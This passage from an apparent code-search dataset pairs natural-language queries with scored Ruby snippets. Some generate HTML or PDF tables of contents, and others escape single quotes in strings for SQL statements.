current page in TOC\n if section.id == opts[:page_id]\n stitle = %(<span class=\"toc-current\">#{stitle}</span>)\n end\n\n # And we also need to find the parent page of the target node\n current = section\n until current.mplevel != :content\n current = current.parent\n end\n parent_chapter = current\n\n # If the target is the top-level section of the parent page, there is no\n # need to include the anchor.\n if parent_chapter.id == section.id\n link = %(#{parent_chapter.id}.html)\n else\n link = %(#{parent_chapter.id}.html##{section.id})\n end\n result << %(<li><a href=\"#{link}\">#{stitle}</a>)\n\n # Finish in a manner similar to Html5Converter outline()\n if slevel < toclevels &&\n (child_toc_level = generate_outline section,\n :toclevels => toclevels,\n :secnumlevels => sectnumlevels,\n :page_id => opts[:page_id])\n result << child_toc_level\n end\n result << '</li>'\n end\n result << '</ul>'\n result.join LF\n end", "title": "" }, { "docid": "8f7ea01d1007104d64e74a231cfd718a", "score": "0.5714194", "text": "def h2_to_toc(nokogiri_fragment, filename)\n capture_haml do\n haml_tag :ol do\n nokogiri_fragment.css('h2').each do |heading|\n haml_tag :li do\n haml_tag :a, href: \"#{filename}/##{heading.attr('id')}\" do\n # haml_content heading.content\n haml_concat heading.content\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "a6aefe83e45bef626bdcbc9f47d4de30", "score": "0.5696411", "text": "def title_and_toc\n cookbook = Cookbook.find(@cookbook_id)\n @book = CookbookGenerator.new(version: :preview, cookbook: cookbook)\n @book.render_inner_cover\n @book.build_fake_index\n @book.render_old_table_of_contents\n rendering_filename = \"#{@filename}-rendering\"\n @book.document.to_file rendering_filename\n File.rename rendering_filename, @filename\n end", "title": "" }, { "docid": "5e3ecc803c2362e8cefec19763f0909b", "score": "0.5685997", "text": "def run(content, params = {})\n doc = Nokogiri::HTML::DocumentFragment.parse(content)\n toc = TableOfContents.new(@item.toc)\n cursor = nil\n container = @item.toc\n doc.css('h1, h2, h3, h4').each do |heading|\n heading[:id] = dasherize(heading.content)\n heading[:class] = \"jumptarget\"\n entry = {\n :level => heading.name[1].to_i,\n :title => heading.content,\n :href => \"##{heading[:id]}\",\n :parent => nil,\n :children => []\n }\n toc.insert(entry)\n if params[:anchors]\n node = %Q(<a class=\"anchor\" href=\"#{entry[:href]}\">&para;</a>)\n heading.add_child(node)\n end\n end\n doc.to_html\n end", "title": "" }, { "docid": "bb95991b7280bc2a69c32764a828b7f4", "score": "0.56815034", "text": "def replace_toc(text, headings)\n text.gsub!(TOC_RE) do\n # Keep only the 4 first levels\n headings = headings.select { |level, _anchor, _item| level <= 4 }\n if headings.empty?\n ''\n else\n out = '<ul class=\"toc\"><li>'\n root = headings.map(&:first).min\n current = root\n started = false\n headings.each do |level, anchor, item|\n if level > current\n out << '<ul><li>' * (level - current)\n elsif level < current\n out << \"</li></ul>\\n\" * (current - level) + '</li><li>'\n elsif started\n out << '</li><li>'\n end\n out << \"<a href=\\\"##{anchor}\\\">#{item}</a>\"\n current = level\n started = true\n end\n out << '</li></ul>' * (current - root)\n out << '</li></ul>'\n end\n end\n end", "title": "" }, { "docid": "ff1cdc53048b7706dfb47dfb32b6b351", "score": "0.5681419", "text": "def render_old_table_of_contents\n template = @cookbook.template\n\n # Build the Table of Content page\n toc_template = PDFBook::Section.new(\n background: template.toc_image(@cookbook.grayscale==1),\n background_size: :fullpage,\n page_margin_left: HC_COVER_MARGIN[:left],\n page_margin_right: HC_COVER_MARGIN[:right],\n page_margin_top: HC_COVER_MARGIN[:top],\n page_margin_bottom: HC_COVER_MARGIN[:bottom]\n )\n\n # Show the title\n toc_template.add_text \"Table of Contents\",\n position: template.toc_header_y.in,\n align: :center, \n font_size: TITLE_FONT_SIZE,\n gap: 0.43.in\n\n # Configure the table of content\n introduction_pages_number = CookbookGenerator.get_introduction_length(@cookbook)[:page]\n introduction_pages_number += 1 if introduction_pages_number % 2 != 0 # \"note page\" inclusion\n @document.table_of_content_options(\n template: toc_template,\n width: 2.65.in,\n position: template.toc_header_y.in - TITLE_FONT_SIZE - 0.2.in,\n start_at: 6+introduction_pages_number, # start counting at the third page, start printing on the first recipe\n layout: :old\n )\n\n @document << :table_of_content\n end", "title": "" }, { "docid": "9e74293b334af1f57e4a5c19573451ef", "score": "0.56447774", "text": "def toc_title\n case name\n when \"mainBody\"\n \"Schedules\"\n when \"chapter\"\n title = in_schedules? ? \"Schedule\" : \"Chapter\" \n title << ' ' + num\n title << ' - ' + heading if heading\n title\n when \"part\"\n \"Part #{num} - #{heading}\"\n when \"section\"\n if not heading or heading.empty?\n \"Section #{num}\" \n elsif num\n \"#{num}. #{heading}\"\n else\n heading\n end\n end \n end", "title": "" }, { "docid": "b803f8c5f92abf01e46d9f92ce32c751", "score": "0.56446564", "text": "def toc(alphabet)\n result = \"<div class='toc'>\"\n for buchstabe in 'A'..'Z'\n if alphabet.include?(buchstabe) then\n result << \"<a href='##{buchstabe}'>#{buchstabe}</a> \"\n else\n result << \"<span>#{buchstabe}</span> \"\n end\n end\n result << '</div>'\n return result\n end", "title": "" }, { "docid": "5cb9c9bb0ac22940f14e49f6c15eebc1", "score": "0.5636457", "text": "def replace_toc(text, headings)\n text.gsub!(TOC_RE) do\n # Keep only the 4 first levels\n headings = headings.select{|level, anchor, item| level <= 4}\n if headings.empty?\n ''\n else\n div_class = 'toc'\n div_class << ' right' if $1 == '>'\n div_class << ' left' if $1 == '<'\n out = \"<ul class=\\\"#{div_class}\\\"><li>\"\n root = headings.map(&:first).min\n current = root\n started = false\n headings.each do |level, anchor, item|\n if level > current\n out << '<ul><li>' * (level - current)\n elsif level < current\n out << \"</li></ul>\\n\" * (current - level) + \"</li><li>\"\n elsif started\n out << '</li><li>'\n end\n out << \"<a href=\\\"##{anchor}\\\">#{item}</a>\"\n current = level\n started = true\n end\n out << '</li></ul>' * (current - root)\n out << '</li></ul>'\n end\n end\n end", "title": "" }, { "docid": "87dc79c3b96b6d1cbb634c62ca4bb7dd", "score": "0.56117576", "text": "def sections; end", "title": "" }, { "docid": "49fa8a4553b7325343e3f30e9e92d9b1", "score": "0.5601978", "text": "def set_dan_toc\n @dan_toc = DanToc.find(params[:id])\n end", "title": "" }, { "docid": "f97460f5e1132e48329c2efb26b3507f", "score": "0.5595263", "text": "def moduleTOC(docModules)\n root = Element.new(\"root\")\n\n docModules.each do |moduleName|\n m = Element.new(\"module\")\n m.text = \"Jamoma#{moduleName}\"\n root.add_element m\n end\n @xml.add_element root\n\n end", "title": "" }, { "docid": "8fcc62a65bc45e47ee355d7ac561967e", "score": "0.5575106", "text": "def section; end", "title": "" }, { "docid": "8fcc62a65bc45e47ee355d7ac561967e", "score": "0.5575106", "text": "def section; end", "title": "" }, { "docid": "4d56e53c9abd83c0d94d0d6191000a97", "score": "0.5565016", "text": "def toc_include_h3?\n front_matter.fetch(:toc_include_h3)\n end", "title": "" }, { "docid": "38437fe4309fd9fb57abdc0862ad31f3", "score": "0.55516934", "text": "def download_toc_full(toc, file)\n download toc, 'full', :json, file\n end", "title": "" }, { "docid": "4694c7d3559af75f87d3a84cd97fbab8", "score": "0.55455065", "text": "def parse_content\n headers = Hash.new(0)\n\n (@doc.css(toc_headings) - @doc.css(toc_headings_in_no_toc_section))\n .reject { |n| n.classes.include?(@configuration.no_toc_class) }\n .inject([]) do |entries, node|\n text = node.text\n id = node.attribute('id') || generate_toc_id(text)\n\n suffix_num = headers[id]\n headers[id] += 1\n\n entries << {\n id: suffix_num.zero? ? id : \"#{id}-#{suffix_num}\",\n text: CGI.escapeHTML(text),\n node_name: node.name,\n header_content: node.children.first,\n h_num: node.name.delete('h').to_i\n }\n end\n end", "title": "" } ]
9a6812be926dc685c8a6801b9b35ca4a
Optional parameters are those that are either defined as optional or implicit.
[ { "docid": "1cba7196b9b631eafbab9f410c3f78b1", "score": "0.65109986", "text": "def optional?\n\t\t\t\t@options[:optional] || implicit? || default?\n\t\t\tend", "title": "" } ]
[ { "docid": "33dbf486de4572e6d4a615081c30009c", "score": "0.7774354", "text": "def optional_params\n\t\t\t@optional_params ||= {}\n\t\tend", "title": "" }, { "docid": "3fa5b7964d04761425531c8c0fff55db", "score": "0.75006074", "text": "def optional_params\n params.select{ |x| x.optional? }\n end", "title": "" }, { "docid": "9868b0692c8d7a9d69773a7f88858799", "score": "0.74536914", "text": "def optional_params\n @params.values.select{|param| !param.required }\n end", "title": "" }, { "docid": "460e0fdcec0b5648ae6af2606e898a68", "score": "0.72201467", "text": "def optional_params (params)\n\t\t\tRake.application.last_optional_params = params\n\t\tend", "title": "" }, { "docid": "047308e9e0bf1b45fd487a7a262212aa", "score": "0.71526414", "text": "def method_with_optional_params(val1, val2 = 0, val3 = 100)\nend", "title": "" }, { "docid": "b65908b9660320282a7323d1d3c8d33d", "score": "0.7044689", "text": "def optional_parameters(meth)\n api_methods(meth)&.dig(:optional)&.keys || []\n end", "title": "" }, { "docid": "86bcc907cdf9d4bf2521bf10afa0fc21", "score": "0.7027863", "text": "def optional\n @optional ||= function_parameters(:opt, :key)\n .drop(function_arity - function_parameters(:req).length)\n end", "title": "" }, { "docid": "eb8f5bf53d146f4e7ed289759f5746f6", "score": "0.69375175", "text": "def optional(*options)\n @optional = options\n self\n end", "title": "" }, { "docid": "7a1f94220180a149368bcf916cac6c0d", "score": "0.683836", "text": "def optional_rules\n @defined_params.list_optional\n end", "title": "" }, { "docid": "1da1a27ac7f96bb6ad678b54d11badc4", "score": "0.68164676", "text": "def optional; end", "title": "" }, { "docid": "130b0f66f394a15154be3137fefdc8ff", "score": "0.6809216", "text": "def optional_parameters\n @optional_parameters ||= ((self.parameter_descriptions.reject do |k, v|\n v['required']\n end).inject({}) { |h,(k,v)| h[k]=v; h }).keys\n end", "title": "" }, { "docid": "0b56e3ae1347989e93f8a9740d4b9883", "score": "0.6756655", "text": "def optional_params\n params.require(:optional).permit(:hl, :indy, :azn, :blk, :pac, :wh, :household_id)\n end", "title": "" }, { "docid": "6ba89681c2a62d1df69c6a8da2efb132", "score": "0.6717554", "text": "def mandatory_parameters(*args) ; end", "title": "" }, { "docid": "8c82313a5091ae83fb532acf72253577", "score": "0.67116433", "text": "def accepts_optional_argument?; end", "title": "" }, { "docid": "8c82313a5091ae83fb532acf72253577", "score": "0.67116433", "text": "def accepts_optional_argument?; end", "title": "" }, { "docid": "d450ca4f08100ff0a277996caaa78d83", "score": "0.67009467", "text": "def optional (one, two, opts={})\n puts one\n puts two\n puts opts\nend", "title": "" }, { "docid": "de8f76d5a47aa8efaec9eb21477eb065", "score": "0.66129863", "text": "def any_parameters; end", "title": "" }, { "docid": "0fe96d6f0066f3f588da731b566f75e9", "score": "0.65898347", "text": "def optional_arguments\n args(:opt)\n end", "title": "" }, { "docid": "607129e245ffe327f9ce91f7f31226cc", "score": "0.65872246", "text": "def api_optional!(args, h = params)\n args.each_pair { |name, cnd|\n if cnd.is_a?(Hash)\n api_optional!(cnd, h[name])\n next\n end\n\n parse_api_argument(h, name, cnd, :optional)\n }\n end", "title": "" }, { "docid": "f6a1671d55f99e04d4264ebbabc0f81b", "score": "0.65563446", "text": "def default_parameters(params = {}); end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6532969", "text": "def need_params\n end", "title": "" }, { "docid": "e82d856ff3956a2dec935d8d710c0866", "score": "0.6525456", "text": "def some_method(x: nil,y: nil,z: nil)\n p x,y,z\nend", "title": "" }, { "docid": "7b64819f8cb12965543eb9a31f3824a6", "score": "0.6522451", "text": "def accept_no_params!\n # no op operation since this is the default behavior\n # unless params get defined. Makes sense for documentation tho.\n end", "title": "" }, { "docid": "3c73ee17399563eb38f5c98b998f1b1a", "score": "0.6498798", "text": "def last_optional_params\n\t\t\t@last_optional_params ||= {}\n\t\tend", "title": "" }, { "docid": "5d2e2f2b18d3b3008105fb063a41f953", "score": "0.6451956", "text": "def optional!\n @optional=true\n end", "title": "" }, { "docid": "80423ab81fc9dcd9a03fd651bc7ecbad", "score": "0.63681465", "text": "def optional_args(*a)\nend", "title": "" }, { "docid": "fe8a31e28bed2e6f4e744804e0398481", "score": "0.6334189", "text": "def optional?\n false\n end", "title": "" }, { "docid": "fe2c516f387fa8a892fa976df474ada0", "score": "0.628495", "text": "def optional?(param0 = T.unsafe(nil)); end", "title": "" }, { "docid": "ab26d619fbb0da06f487dfd2607854b1", "score": "0.62780136", "text": "def explicit_params?\n return false unless explicit_annotation?\n\n explicit_params.any?\n end", "title": "" }, { "docid": "f8c05c05fb596260a51d3ab4fb42243d", "score": "0.6274104", "text": "def required_parameters\n [ ]\n end", "title": "" }, { "docid": "1418170d0e3d94aa7bc8bb464fa82012", "score": "0.62711215", "text": "def optional_parameter_count\n @parameters.count {|p| p.size == 2 }\n end", "title": "" }, { "docid": "c080745818eb19983288c3b5b1476950", "score": "0.626028", "text": "def optional_option?(param0 = T.unsafe(nil)); end", "title": "" }, { "docid": "ea30fdbf909b6caaa3b03d3e9e0fe55e", "score": "0.62492377", "text": "def my_method(optional_param)\n optional_param ||= 3\nend", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.62461334", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "89b8bd669818305bf5c2e87c10207c34", "score": "0.62378573", "text": "def positional_parameters; end", "title": "" }, { "docid": "89b8bd669818305bf5c2e87c10207c34", "score": "0.62378573", "text": "def positional_parameters; end", "title": "" }, { "docid": "42d1e3bfe7072e7e9d2c6402c4046763", "score": "0.6235928", "text": "def optional_param name, validator=nil, desc=nil\n add_param name, false, validator, desc\n end", "title": "" }, { "docid": "60240fae94c45be2f55014b0bc050ada", "score": "0.6220876", "text": "def nope_params\n params.fetch(:nope, {})\n end", "title": "" }, { "docid": "f66e46acc826d74351b00d58ad482e52", "score": "0.6202884", "text": "def optional\n self.optional_flag = true\n end", "title": "" }, { "docid": "5253e68dbe73de600809a2b0cf3d9db0", "score": "0.61876184", "text": "def required_defaults; end", "title": "" }, { "docid": "7bc48378564eccf45d963319288b0622", "score": "0.6176682", "text": "def api_params(param, default_value, param_modifier)\n !param ? default_value : param + param_modifier\n end", "title": "" }, { "docid": "be9c036ab42b6a331a9729bfae1aa9e1", "score": "0.61611676", "text": "def user_defined_params\n params.fetch(:user_defined, {})\n end", "title": "" }, { "docid": "a3c9a1ca76bf71482c95dd210a8c344a", "score": "0.6160771", "text": "def required_positional_args\n @required_positional_args ||= @params.take_while { |arg| !arg.is_a?(Hash) && !arg.to_s.end_with?(REQUIRED_SYMBOL) }\n end", "title": "" }, { "docid": "7a1cd2c610509926c1550fa8a6bbc059", "score": "0.6159249", "text": "def optional(x, y=\"er\")\r\n puts x + y\r\nend", "title": "" }, { "docid": "2490419f76e1a24cd69ffb3a1278c10e", "score": "0.6152603", "text": "def optional?\n not required?\n end", "title": "" }, { "docid": "934248ab749ca538cc20be74cdb7bba4", "score": "0.6130032", "text": "def optional?() @optional; end", "title": "" }, { "docid": "f8acf01ec532f043efcb97e975c2cb16", "score": "0.6123585", "text": "def params_also_in_overloads(user_options = {})\n end", "title": "" }, { "docid": "cf108fea35decb0c06aeede65b467295", "score": "0.6122945", "text": "def optional_parameter_count\n @model.parameters.count { |p| !p.value.nil? }\n end", "title": "" }, { "docid": "e533d3f339dd4af414772f63b3225cc7", "score": "0.6113214", "text": "def params; {}; end", "title": "" }, { "docid": "e533d3f339dd4af414772f63b3225cc7", "score": "0.6113214", "text": "def params; {}; end", "title": "" }, { "docid": "dfc928a42789fcd510bfcc205c183d8e", "score": "0.6110964", "text": "def optional_attributes()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "f5cdf89a23e014f06d9730b6427f6c1c", "score": "0.61069024", "text": "def required_parameters\n []\n end", "title": "" }, { "docid": "29e75661b6346f7bc249c1e9dd191f5e", "score": "0.60920113", "text": "def hash_as_optional_param(name,options={})\n if options.empty?\n puts \"My name is #{name}\"\n \n else\n puts \"My name is #{name}, I am a #{options[:sex]} and i love #{options[:hobby]}\"\n \n end\n \nend", "title": "" }, { "docid": "27bbe4ed1ca1e05ff8dc3b1928e58b08", "score": "0.608907", "text": "def optional?\n !required? || has_default?\n end", "title": "" }, { "docid": "e18c4c9a0744108e6413e0fd5e16818c", "score": "0.6079848", "text": "def arguments(required, *optional)\n puts \"required: #{required}\"\n if optional == true\n puts \"optional: #{optional}\"\n else\n end\nend", "title": "" }, { "docid": "1e8c81f1d6d876d6f80ccb873f2b8019", "score": "0.6075523", "text": "def routing_params?\n explicit_params? || implicit_params?\n end", "title": "" }, { "docid": "47da1d5f7123b0d3cf0c39a55a26fb92", "score": "0.60630524", "text": "def arguments_with_default_values; end", "title": "" }, { "docid": "780c92cc34cbb6400ec0e71baa70afb8", "score": "0.6058643", "text": "def compulsory!\n @optional=false\n end", "title": "" }, { "docid": "a3d9d3fc204b436f5f481f8e77434504", "score": "0.60573447", "text": "def undefined_parameter_type; end", "title": "" }, { "docid": "5ae24d9c81047bffa87cfa552cd55efa", "score": "0.6056656", "text": "def negatable_params\n @negatable_params ||= negatable_scalar_params + negatable_array_params\n end", "title": "" }, { "docid": "64c9fac6a02a7858a7153f45e6c5bcfc", "score": "0.6052839", "text": "def parse_param_name_and_optionality!(param_spec)\n if param_spec.sub!(PARAM_NAME_PATTERN, '')\n optional_param_name = $1\n default_value = $2\n required_param_name = $3\n\n # raise \"WTF\" if optional_param_name && optional_param_name.include?('=')\n # log(\"param name\", optional_param_name, default_value, required_param_name)\n\n if required_param_name\n { name: required_param_name,\n optional: false }\n else\n { name: optional_param_name,\n optional: true,\n default: default_value }\n end\n end\n end", "title": "" }, { "docid": "4bceda7067e88efc44ec75ab8b544d27", "score": "0.6052751", "text": "def req_spec; @isRequired ? REQUIRED_PFX : OPTIONAL_PFX end", "title": "" }, { "docid": "2dc6530fddd550c3ec5800aa774400eb", "score": "0.60513926", "text": "def optional?\n not required\n end", "title": "" }, { "docid": "222b0796bbac550bb0d7d4a64ce43caf", "score": "0.6050766", "text": "def declared_good_params\n params.fetch(:declared_good, {})\n end", "title": "" }, { "docid": "9c541801cb50c0a0f47866fc44001f42", "score": "0.60501426", "text": "def foo(a, b=1, c:, d:2)\nend", "title": "" }, { "docid": "8e519fbf8b7f524a91ac5c7f842a6121", "score": "0.6049471", "text": "def validate_params_present!; end", "title": "" }, { "docid": "43863afc44c8e805fb4c7fb3b64497df", "score": "0.6043086", "text": "def optionals; end", "title": "" }, { "docid": "dca2b99f4cb56ff8b417f84153c46ad5", "score": "0.60369134", "text": "def required_params\n params.select{ |x| x.required? }\n end", "title": "" }, { "docid": "b9a6e2af60a0fdc7224a1bc2516bca2f", "score": "0.6021708", "text": "def missing_params\n\t\t@sender_id != nil && @receiver_id != nil && @money != nil\n\tend", "title": "" }, { "docid": "38c2789b675ab2ebf9a8ae87ffc95fd0", "score": "0.6018112", "text": "def params\n nil\n end", "title": "" }, { "docid": "7a68714ad4aef7f9c025ff0c09f799e5", "score": "0.60012233", "text": "def Params(requireds, optionals, rest, posts, keywords, keyword_rest, block); end", "title": "" }, { "docid": "4451bf7e3d1a5ccc642ede0007710c10", "score": "0.59947497", "text": "def optionalize\n without_values(nil)\n end", "title": "" }, { "docid": "922aead7506fcf01c8cec892dfdf4693", "score": "0.59931535", "text": "def optional!\n self.required = false\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.5992067", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "3f840fafd6903ed3c60029d488e20d23", "score": "0.5985207", "text": "def setup_parameters(params={}, defaults=nil)\n params = defaults ? defaults.merge(params) : params\n find_missing_requirements(params)\n remove_unnecessary_params(params)\n end", "title": "" }, { "docid": "65524ccc93c34f9804249a1c29978e08", "score": "0.5970491", "text": "def implicit_params\n return {} unless implicit_params?\n @http.routing_params\n end", "title": "" }, { "docid": "79aaabc7c87f952c5111aabe1aa3aa0d", "score": "0.5967024", "text": "def bar(a: 1, b: 2, **others)\n puts a\n puts b\n puts others\nend", "title": "" }, { "docid": "c3474b21bc91be3a322e03c50d30b91d", "score": "0.5956252", "text": "def required=(_arg0); end", "title": "" }, { "docid": "8b133457a9aa5a26f4e6d87dd23a2aa7", "score": "0.5954084", "text": "def check_missing_defaults(scope)\n \n end", "title": "" }, { "docid": "80c3bb1a5eaf1b92fd41d43cc209417a", "score": "0.5949305", "text": "def generic_method(a: 1, b: nil)\n puts a\n puts b\nend", "title": "" }, { "docid": "c01579937e68a57325b168c72df67245", "score": "0.59471625", "text": "def required_params\n params_with(:required)\n end", "title": "" }, { "docid": "ec1223f045364716d92e05c694c5026a", "score": "0.5938281", "text": "def params?\n !(required_rules.empty? && optional_rules.empty? && nested_params.empty?)\n end", "title": "" }, { "docid": "531ec2aec3c8b29f76e8eb5dce120ea0", "score": "0.5937895", "text": "def optional?\n !required?\n end", "title": "" }, { "docid": "531ec2aec3c8b29f76e8eb5dce120ea0", "score": "0.5937895", "text": "def optional?\n !required?\n end", "title": "" }, { "docid": "1aa8626849fef12eb06df5a512f3166d", "score": "0.5937485", "text": "def api_params(q = {})\n @api[:optional].deep_merge(@api[:required]).deep_merge(q)\n end", "title": "" }, { "docid": "1a01a424cfb6e5bd1dc7a77be6769609", "score": "0.59349126", "text": "def foo(x: nil)\nend", "title": "" }, { "docid": "03fc51c745d98c4d73f9f5df1e0626e1", "score": "0.59339184", "text": "def validate_common_params\n validate(\n stand_alone: [:optional, :_validate_boolean]\n )\n end", "title": "" }, { "docid": "5c61049f15d59c1749c065a0f025a740", "score": "0.5927097", "text": "def load_optional_params(cxt, params, info)\n optional_params = info['optional_params']\n params.each { |name, value|\n if optional_params.has_key?(name)\n case name\n when \"push_to_s3\"\n if value == 'true'\n if info['s3_bucket'].nil?\n load_error(cxt, 'An S3 bucket has not been provisioned for this report. ' +\n 'Please contact Socrata support if you believe one should be or ' +\n 'remove the \\'push_to_s3\\' parameter.')\n else\n cxt['s3_bucket'] = info['s3_bucket']\n end\n end\n when \"domain\"\n map_domain(cxt, value)\n end\n else\n load_error(cxt, \"'#{name}' is not an option available to this scriptlet<br>\")\n end\n }\n end", "title": "" }, { "docid": "8cb1586a1ddc1922b2b1bb79b30ee8a4", "score": "0.59187275", "text": "def params_only_in_overloads(user_options = {})\n end", "title": "" }, { "docid": "6582e42a157759eece85284b249bcf95", "score": "0.5905758", "text": "def build_params(options, optional_params)\n optional_params.inject({}) do |params, param|\n params[camelize(param.to_s, false)] = options[param] if options[param]\n params\n end\n end", "title": "" }, { "docid": "102e6998ace432447aa82088078391c7", "score": "0.59020823", "text": "def required_params\n @params.values.select{|param| param.required }\n end", "title": "" }, { "docid": "b4058a004ef6d7b9bedae1d4c72f50cf", "score": "0.5900349", "text": "def required\n self.optional_flag = false\n end", "title": "" }, { "docid": "7b301c1e734341aad191cf2c4671aa33", "score": "0.5886413", "text": "def merge_optional_params(url_params)\n symbolized_update(url_params, @options[:controller].params) if @options[:controller].params\n url_params\n end", "title": "" }, { "docid": "23db032a35c9fe596a66e930e03225c7", "score": "0.58852977", "text": "def optional?\n !!options[:optional]\n end", "title": "" }, { "docid": "23db032a35c9fe596a66e930e03225c7", "score": "0.58852977", "text": "def optional?\n !!options[:optional]\n end", "title": "" }, { "docid": "45848e3eb1c29b99c05911ab808c07c8", "score": "0.5877395", "text": "def inject_default_params(params)\n end", "title": "" }, { "docid": "7c9ae0f88ac0791bd1acaaf06bcab87d", "score": "0.58762884", "text": "def optional?\n options[:optional].present?\n end", "title": "" }, { "docid": "0812ac0baec42937f68895fbbe182710", "score": "0.58757675", "text": "def params(*) end", "title": "" }, { "docid": "0812ac0baec42937f68895fbbe182710", "score": "0.58757675", "text": "def params(*) end", "title": "" }, { "docid": "0812ac0baec42937f68895fbbe182710", "score": "0.58757675", "text": "def params(*) end", "title": "" } ]
db2978988ee71d516c00573a90a08b02
Escapes single quotes in a string to be able to use it in an INSERT query.
[ { "docid": "333446e3990a6b246a17f27744570231", "score": "0.83727366", "text": "def escape_single_quotes(string)\n string.gsub(\"'\", \"\\\\\\\\'\")\n end", "title": "" } ]
[ { "docid": "b396f6e0a9feb4ed97b985996a324c0e", "score": "0.85246617", "text": "def escape_for_single_quotes(str)\n str.gsub \"'\", \"''\"\n end", "title": "" }, { "docid": "d295da8143e47705326b8a34cb054f0b", "score": "0.8376737", "text": "def quote_string(s)\n escape s.gsub(/\\\\/, '\\&\\&').gsub(/\"/, \"\\\\\\\"\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "2738bb753f8415a06f02a9138479f29c", "score": "0.8313296", "text": "def escape_single_quotes(string)\n string.gsub(\"'\", %q('\"'\"'))\n end", "title": "" }, { "docid": "e9ee61559bce669c400779df918fa214", "score": "0.8310595", "text": "def quote_string( string )\n \"'#{escape_string(string)}'\"\n end", "title": "" }, { "docid": "784db449d4b61d6c3faf5ef68ddca81c", "score": "0.81669456", "text": "def escape_for_single_quotes\n a = \"'\"\n b = \"\\'\"\n self.gsub(a,b)\n end", "title": "" }, { "docid": "7119cebe0f0289c953082966e99552bc", "score": "0.8124518", "text": "def sql_escape(str)\n\t\t\treturn str.gsub(/[']/,\"''\") # doubles apostrophes\n\t\tend", "title": "" }, { "docid": "31c6ad673f9516976965e57daa2499f7", "score": "0.8082896", "text": "def escape_string(str)\n new_str = \"\"\n str.each_char do |c|\n if c == \"'\"\n new_str << \"\\\\\"\n new_str << \"'\"\n elsif c == '\\\\'\n new_str << '\\\\'\n new_str << '\\\\'\n else\n new_str << c\n end\n end\n new_str\n end", "title": "" }, { "docid": "16e198bb5415efc0b3267eb96f50a9bd", "score": "0.8079678", "text": "def quote_string(string)\n string.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")\n end", "title": "" }, { "docid": "542ec00e598167c1aca5cd45f7c68b4a", "score": "0.8058314", "text": "def quote_string(s)\n s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "542ec00e598167c1aca5cd45f7c68b4a", "score": "0.8058314", "text": "def quote_string(s)\n s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "542ec00e598167c1aca5cd45f7c68b4a", "score": "0.8058314", "text": "def quote_string(s)\n s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "8f659a43bf6419b209983634dc93aade", "score": "0.803892", "text": "def quote_string(s)\n s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "8f659a43bf6419b209983634dc93aade", "score": "0.803892", "text": "def quote_string(s)\n s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "097deedfa2e3ad832d306befe21934ee", "score": "0.80295426", "text": "def quote_string(s)\n # cannot use ruby-pg escape_string() as our backslash doesn't need escaped\n s.gsub(\"'\", \"''\")\n end", "title": "" }, { "docid": "097deedfa2e3ad832d306befe21934ee", "score": "0.80295426", "text": "def quote_string(s)\n # cannot use ruby-pg escape_string() as our backslash doesn't need escaped\n s.gsub(\"'\", \"''\")\n end", "title": "" }, { "docid": "3a978f6c63ba89161fc662d2073be112", "score": "0.8024834", "text": "def quote_string(s)\n s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"\\\\\\\\'\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "28dd99f13097622019692ac9968eed79", "score": "0.80093133", "text": "def quote_string(s)\n s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "c230ca27ef678f2fd919754f54aec4c0", "score": "0.8003517", "text": "def quote_string(s)\n s.gsub(\"\\\\\", '\\&\\&').gsub(\"'\", \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "dc485ef43c874ce6d241309545024d92", "score": "0.79855794", "text": "def escape_quotes(str)\n str.gsub(/\"/, '\\\\\"')\n end", "title": "" }, { "docid": "761d3301dedb8f70653e94dab0899627", "score": "0.7968463", "text": "def quote_str(str)\n \"'#{str.gsub('\\'', '\\\\\\\\\\'')}'\"\n end", "title": "" }, { "docid": "c279f188fa6f60f37c1f63bae0f1853e", "score": "0.793561", "text": "def quote_string(string)\n string.gsub(/\\'/, \"''\")\n end", "title": "" }, { "docid": "c279f188fa6f60f37c1f63bae0f1853e", "score": "0.793561", "text": "def quote_string(string)\n string.gsub(/\\'/, \"''\")\n end", "title": "" }, { "docid": "df9d110e82a79c5f7f3b357f3fbbea88", "score": "0.7935523", "text": "def quote_string(string)\n @logger.unknown(\"ODBCAdapter#quote_string>\") if @trace\n \n # MySQL requires backslashes to be escaped\t\t\t\t\n string.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")\n end", "title": "" }, { "docid": "b71d50315c66157a6ad0114f49cb7d45", "score": "0.79186296", "text": "def escape_sql(string)\n return string.gsub(\"'\",\"''\")\n end", "title": "" }, { "docid": "e3998cf0bd8f1f03b7129b7eb2269009", "score": "0.7908923", "text": "def add_quotes_to_string(string)\n string = \"'#{string}'\"\n end", "title": "" }, { "docid": "f99e5c5757b36e764ee4ec59c9dc967b", "score": "0.7901059", "text": "def add_quotes_to_string(string)\n string = \"'#{string}'\"\n end", "title": "" }, { "docid": "f99e5c5757b36e764ee4ec59c9dc967b", "score": "0.7901059", "text": "def add_quotes_to_string(string)\n string = \"'#{string}'\"\n end", "title": "" }, { "docid": "f99e5c5757b36e764ee4ec59c9dc967b", "score": "0.7901059", "text": "def add_quotes_to_string(string)\n string = \"'#{string}'\"\n end", "title": "" }, { "docid": "30244f252ff35409ef8aa4d5172a6673", "score": "0.78718394", "text": "def quote_string(s)\n s.to_s.gsub(/\\'/, \"''\")\n end", "title": "" }, { "docid": 